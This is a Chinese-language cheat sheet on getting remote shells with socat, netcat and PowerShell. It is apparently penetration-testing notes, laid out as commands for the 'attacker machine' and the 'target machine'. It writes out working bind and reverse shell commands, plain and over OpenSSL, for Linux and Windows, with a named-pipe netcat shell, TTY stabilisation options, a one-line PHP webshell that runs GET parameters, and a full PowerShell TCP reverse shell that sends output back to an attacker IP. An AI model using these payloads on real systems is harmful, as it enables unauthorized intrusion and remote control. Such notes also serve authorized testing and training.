socat Shell通信工具使用
正向连接
普通通信
攻击机
socat TCP:<TARGET-IP>:<TARGET-PORT> -
目标机
windows
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
linux
socat TCP-L:<PORT> EXEC:"bash -li"
加密通信
先创建证书、生成 .pem 文件
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt; cat shell.key shell.crt > shell.pem
攻击机
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
verify=0 表示不验证服务器证书
目标机
linux
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:"bash -li"
windows
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
命名管道法
攻击机
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
目标机
nc <TARGET-IP> <TARGET-PORT>
反向连接
普通通信
攻击机
socat TCP-L:<port> -
目标机
window
socat TCP:<attacter-IP>:<attacter-PORT> EXEC:powershell.exe,pipes
注:"pipes"选项用于强制powershell (或 cmd.exe)使用 Unix 风格的标准输入和输出。
linux
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"
更稳定高效方法-linux&tty技术
# 攻击机
socat TCP-L:<port> FILE:`tty`,raw,echo=0
# 目标机
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
注解:
- pty ,在目标上分配一个伪终端——稳定过程的一部分
- stderr ,确保所有错误消息都显示在 shell 中(这通常是非交互式 shell 的问题)
- sigint ,将所有 Ctrl + C 命令传递到子进程中,允许我们终止 shell 内的命令
- setsid ,在新会话中创建进程
- sane,稳定终端,尝试使其“正常化”。
作用是将两个点连接在一起。在这种情况下,这两个点是一个监听端口和一个文件。具体来说,是将当前 TTY 作为文件传递,并将回显设置为零。这大致相当于在 netcat shell 中使用 Ctrl + Z、 stty raw -echo; fg技巧——额外的好处是可以立即稳定并挂接到完整的 tty。
Ctrl + Z、 stty raw -echo; fg技巧:它会关闭我们自己的终端回显(这使我们能够访问制表符自动完成、箭头键和 Ctrl + C 来终止进程)。然后它将 shell 置于前台,从而完成该过程。
powershell
先上传webshell:
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
连接webshell,传入命令:

# 目标机
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# 攻击机
nc -lnvp <port>
注意:url中传入的指令要经过url编码,不然无法正常执行
加密通信
先创建证书、生成 .pem 文件
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt; cat shell.key shell.crt > shell.pem
攻击机
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
verify=0 表示不验证服务器证书
目标机
linux
socat OPENSSL:<attacker-IP>:<attacker-PORT>,verify=0 EXEC:/bin/bash
window
socat OPENSSL:<attacker-IP>:<attacker-PORT> EXEC:powershell.exe,pipes
更稳定的方法-linux&tty技术
# 攻击机
socat OPENSSL-LISTEN:<PORT>,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0
# 目标机
socat OPENSSL:<attacker-IP>:<attacker-PORT>,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
命名管道法
攻击机
nc -lvnp <port>
linux
mkfifo /tmp/f; nc <attacker-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

浙公网安备 33010602011771号